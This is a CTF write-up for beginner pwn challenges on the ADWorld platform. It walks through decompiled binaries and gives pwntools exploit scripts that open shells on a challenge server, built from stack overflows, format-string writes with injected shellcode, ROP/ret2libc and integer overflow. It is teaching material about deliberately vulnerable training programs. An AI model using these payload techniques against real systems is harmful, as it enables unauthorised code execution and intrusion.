You can find all the following challenges on World of Attack & Defense (ADWorld), which is a CN CTF platform and not so international (All Chinese challenge descriptions).
Just follow my lead to deal with these problems, I get you en descriptions.
Basic Part
Exercise area includes some basic challenges.
get shell
Attachment: get_shell Description: You can get the shell by running it, really.
First check this file:
1 2 3 4 5 6 7 8 9
$ file get_shell get_shell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6334e8ad1474b290bdb69d75a1b44ed029669888, not stripped $ checksec get_shell [*] '/root/get_shell' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Use IDA Pro (with Hex-Rays) to see pseudocode:
1 2 3 4 5 6
int __cdecl main(int argc, constchar **argv, constchar **envp) { puts("OK,this time we will get a shell."); system("/bin/sh"); return0; }
It is a warm up to let you know how to solve tasks. There’re 3 ways:
Run it locally, know how it works and test exploit script.
1 2 3 4 5 6 7 8
$ ./get_shell OK,this time we will get a shell. # ls CGfsb cgpwn2 get_shell guess_num hello_pwn int_overflow level0 level2 level3.gz string when_did_u_born # id uid=0(root) gid=0(root) groups=0(root) # uname Linux
Use netcat to connect and do normal interaction.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
nc 220.249.52.133 50247 ls -al total 56 drwxr-x--- 1 0 1000 4096 Oct 4 2018 . drwxr-x--- 1 0 1000 4096 Oct 4 2018 .. -rwxr-x--- 1 0 1000 220 Aug 31 2015 .bash_logout -rwxr-x--- 1 0 1000 3771 Aug 31 2015 .bashrc -rwxr-x--- 1 0 1000 0 Sep 28 2018 .gitkeep -rwxr-x--- 1 0 1000 655 May 16 2017 .profile drwxr-x--- 1 0 1000 4096 Oct 4 2018 bin drwxr-x--- 1 0 1000 4096 Oct 4 2018 dev -rwxr----- 1 0 1000 45 Jul 25 03:15 flag -rwxr-x--- 1 0 1000 8656 Sep 28 2018 get_shell drwxr-x--- 1 0 1000 4096 Oct 4 2018 lib drwxr-x--- 1 0 1000 4096 Oct 4 2018 lib32 drwxr-x--- 1 0 1000 4096 Oct 4 2018 lib64
Use pwntools to do anvanced interaction and write script.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
$ cat get_shell.py from pwn import * #sh = process('./get_shell') sh = remote('220.249.52.133',55822) sh.interactive() $ python get_shell.py [+] Opening connection to 220.249.52.133 on port 55822: Done [*] Switching to interactive mode $ ls bin dev flag get_shell lib lib32 lib64 $ cat flag
hello pwn
Attachment: hello_pwn Description: pwn! Segment fault! Caiji fell into deep thought.
Check:
1 2 3 4 5 6 7 8 9
$ file hello_pwn hello_pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=05ef7ecf06e02e7f199b11c4647880e8379e6ce0, stripped $ checksec hello_pwn [*] '/root/hello_pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Pseudocode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
--------------------------------- main __int64 __fastcall main(__int64 a1, char **a2, char **a3) { alarm(0x3Cu); setbuf(stdout, 0LL); puts("~~ welcome to ctf ~~ "); puts("lets get helloworld for bof"); read(0, &unk_601068, 0x10uLL); if ( dword_60106C == 1853186401 ) sub_400686(0LL, &unk_601068); return0LL; } --------------------------------- and sub_400686 __int64 sub_400686() { system("cat flag.txt"); return0LL; }
Our goal is sub_400686(). We can write to unk_601068, and dword_60106C is used in if statement. The number 1853186401 is equal to 0x6E756161, or nuaa. We need to let if be true.
1 2 3 4 5
.bss:0000000000601068 unk_601068 db ? ; ; DATA XREF: main+3B↑o .bss:0000000000601069 db ? ; .bss:000000000060106A db ? ; .bss:000000000060106B db ? ; .bss:000000000060106C dword_60106C dd ? ; DATA XREF: main+4A↑r
The unk_601068 can only save 4 chars, but it reads 0x10uLL bytes (more than 4 chars). So we get our first buffer overflow. Since the 5th char, our input will overwrite unk_601068, so we can control the value by enter aaaaqwer to set it as rewq (inverted because of little-endian).
Attachment: when_did_u_born Description: As long as you know your age, you can get the flag, but Caiji finds that the input is incorrect anyway, what should I do?
Check:
1 2 3 4 5 6 7 8 9
$ file when_did_u_born when_did_u_born: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=718185b5ec9c26eb9aeccfa0ab53678e34fee00a, stripped $ checksec when_did_u_born [*] '/root/when_did_u_born' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
v6 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); puts("What's Your Birth?"); __isoc99_scanf("%d", &v5); while ( getchar() != 10 ) ; if ( v5 == 1926 ) { puts("You Cannot Born In 1926!"); result = 0LL; } else { puts("What's Your Name?"); gets(&v4); printf("You Are Born In %d\n", v5); if ( v5 == 1926 ) { puts("You Shall Have Flag."); system("cat flag"); } else { puts("You Are Naive."); puts("You Speed One Second Here."); } result = 0LL; } return result; }
Here we need to exploit by using stack overflow, because v4 and v5 are both on the stack, and we have to overwrite v5 as 1926 by writing to v4 in the second input.
v8 = __readgsdword(0x14u); setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); buf = 0; v5 = 0; v6 = 0; memset(&s, 0, 0x64u); puts("please tell me your name:"); read(0, &buf, 0xAu); puts("leave your message please:"); fgets(&s, 100, stdin); printf("hello %s", &buf); puts("your message is:"); printf(&s); if ( pwnme == 8 ) { puts("you pwned me, here is your flag:\n"); system("cat flag"); } else { puts("Thank you!"); } return0; } // pwnme .bss:0804A068 pwnme dd ? ; DATA XREF: main+105↑r .bss:0804A068 _bss ends
The printf(&s) is a typical format string vulnerability, which leads to leak and write things anywhere. Our aim is to set pwnme as 8. First determine the offset using:
Attachment: string Description: Caiji meets Dragon, there is a wizard who can help him escape the danger, but it seems that some requirements are needed.
Check:
1 2 3 4 5 6 7 8 9
$ file string string: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4f9fd3e83d275c6555ec7059823616ffc2f1af1b, stripped $ checksec string [*] '/root/string' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
setbuf(stdout, 0LL); alarm(0x3Cu); sub_400996(60LL, 0LL); v3 = malloc(8uLL); v4 = (__int64)v3; *v3 = 68; v3[1] = 85; puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ..."); puts("we will tell you two secret ..."); printf("secret[0] is %x\n", v4, a2); printf("secret[1] is %x\n", v4 + 4); puts("do not tell anyone "); sub_400D72(v4); puts("The End.....Really?"); return0LL; } --------------------------------- sub_400D72 unsigned __int64 __fastcall sub_400D72(__int64 a1) { char s; // [rsp+10h] [rbp-20h] unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u); puts("What should your character's name be:"); _isoc99_scanf("%s", &s); if ( strlen(&s) <= 0xC ) { puts("Creating a new player."); sub_400A7D(); sub_400BB9(); sub_400CA6((_DWORD *)a1); } else { puts("Hei! What's up!"); } return __readfsqword(0x28u) ^ v3; } --------------------------------- sub_400A7D choose go east(to the following)or go up(into the game circle) --------------------------------- sub_400BB9 unsigned __int64 sub_400BB9() { int v1; // [rsp+4h] [rbp-7Ch] __int64 v2; // [rsp+8h] [rbp-78h] char format; // [rsp+10h] [rbp-70h] unsigned __int64 v4; // [rsp+78h] [rbp-8h]
v4 = __readfsqword(0x28u); v2 = 0LL; puts("You travel a short distance east.That's odd, anyone disappear suddenly"); puts(", what happend?! You just travel , and find another hole"); puts("You recall, a big black hole will suckk you into it! Know what should you do?"); puts("go into there(1), or leave(0)?:"); _isoc99_scanf("%d", &v1); if ( v1 == 1 ) { puts("A voice heard in your mind"); puts("'Give me an address'"); _isoc99_scanf("%ld", &v2); puts("And, you wish is:"); _isoc99_scanf("%s", &format); puts("Your wish is"); printf(&format, &format); puts("I hear it, I hear it...."); } return __readfsqword(0x28u) ^ v4; } --------------------------------- sub_400CA6 unsigned __int64 __fastcall sub_400CA6(_DWORD *a1) { void *v1; // rsi unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u); puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!"); puts("Dragon say: HaHa! you were supposed to have a normal"); puts("RPG game, but I have changed it! you have no weapon and "); puts("skill! you could not defeat me !"); puts("That's sound terrible! you meet final boss!but you level is ONE!"); if ( *a1 == a1[1] ) { puts("Wizard: I will help you! USE YOU SPELL"); v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL); read(0, v1, 0x100uLL); ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1); } return __readfsqword(0x28u) ^ v3; }
We need ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1); in sub_400CA6() to execute shellcodes, so *a1 == a1[1] needs to be true. The a1 in sub_400CA6() comes from a1 in sub_400D72(), which is from the argument v4 passed by main(). As v4 is an alias for v3, we need to make v3[0] == v3[1].
Vulnerability appears at printf(&format, &format); in sub_400BB9() which enables us to read and write. So we use it to overwrite v3[0] (or v3[1]).
Because in main it use printf("secret[0] is %x\n", v4, a2); and printf("secret[1] is %x\n", v4 + 4); to leak v4 address, we can directly use it to exploit (don’t forget to check the offset):
from pwn import * context(os='linux', arch='amd64', log_level='debug') sh = process('./string') sh = remote('220.249.52.133',42236)# 220.249.52.133:42236 sh.recvuntil("secret[0] is ") secret_addr = int(sh.recvline()[:-1], 16) printhex(secret_addr) print sh.recv() # What should your character's name be: sh.sendline('name') print sh.recv() # So, where you will go?east or up?: sh.sendline('east') print sh.recv() # go into there(1), or leave(0)?: sh.sendline('1') print sh.recv() # 'Give me an address' sh.sendline(str(secret_addr)) print sh.recv() # And, you wish is: payload = 'a' * 85 + '%7$n' sh.sendline(payload) sh.recv() sh.sendline(asm(shellcraft.sh())) # create shellcode in pwntools sh.interactive()
ROP Part
This part is for ret2xxx, aka ROP (return oriented programming) challenges, and they are really basic challenges.
level0
Attachment: level0 Description: Caiji understands what overflow is, he believes he can get a shell.
Check:
1 2 3 4 5 6 7 8 9
$ file level0 level0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped $ checksec level0 [*] '/root/level0' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
We write data from low to high address. If we write too much, we will overwrite saved ebp, even the retaddr (when a function returns, it will return to the retaddr in its stack frame). Therefore controlling retaddr means controlling where program goes later. It is the first step of ROP (return oriented programming). ROP means using instruction gadgets with a ret at the end, to control the program flow.
Our goal is to call callsystem to get shell, so we can overwrite retaddr as the address(0x400596) of callsystem. we have to input 0x80 chars as padding to cover buf, and 4 chars/bytes (32-bit) to cover ebp, then rest of the chars will write to retaddr. It should be like:
$ file level3 libc_32.so.6 level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44a438e03b4d2c1abead90f748a4b5500b7a04c7, not stripped libc_32.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=9a6b57c7a4f93d7e54e61bccb7df996c8bc58141, for GNU/Linux 2.6.32, stripped $ checksec level3 [*] '/root/level3/level3' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) $ ./libc_32.so.6 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by Roland McGrath et al. Copyright (C) 2016 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 5.4.0 20160609. Available extensions: crypt add-on version 2.1 by Michael Glad and others GNU Libidn by Simon Josefsson Native POSIX Threads Library by Ulrich Drepper et al BIND-8.2.3-T5B libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
As description says, we have no system, but we get target libc – file libc_32.so.6. Though ASLR randomizes base addresses, the functions’ offset relative to the base address of the libc is constant. So we use write to get current write function address, and calculate system current address depending on this.
Real system address is in GOT (global offset table), but when calling system we call PLT (procedure linkage table). About PLT and GOT u can check This Link for details.
The normal function call goes following the order of black, red and blue.
To be more specific, the first call runs dl_runtime_resolve first to prepare: ![First Call](/imghost/apeaw/1st call.jpg)
And subsequent calls are easier: ![Second Call](/imghost/apeaw/2nd call.jpg)
Attachment: int_overflow Description: Caiji thinks that there is no way to overflow this question, really?
Check:
1 2 3 4 5 6 7 8 9
$ file int int: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=aaef797b1ad6698f0c629966a879b42e92de3787, not stripped $ checksec int [*] '/root/int' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
--------------------------------- main need to input `1` to go into login() --------------------------------- login intlogin() { char buf; // [esp+0h] [ebp-228h] char s; // [esp+200h] [ebp-28h]
--------------------------------- what_is_this -- not in the main logic intwhat_is_this() { returnsystem("cat flag"); }
Main idea is using result = strcpy(&dest, s); in check_passwd() to perform stack overflow and return to what_is_this(). s in check_passwd() comes from buf in login(), so we should input buf in login() to overwrite dest in check_passwd(). But before it, if we want to reach result = strcpy(&dest, s);, make v3 <= 3u || v3 > 8u false first.
Here we use integer overflow to pass it. v3 is an unsigned int (8 bits, 4 bytes), so the 0x100000001 is equal to 0x1 because the highest digit overflowed. BTW, if it is a signed int (7 bits + 1), 0x10000001 is definitely different from 0x1 (different sign).
Therefore our payload length should be between 259 and 264.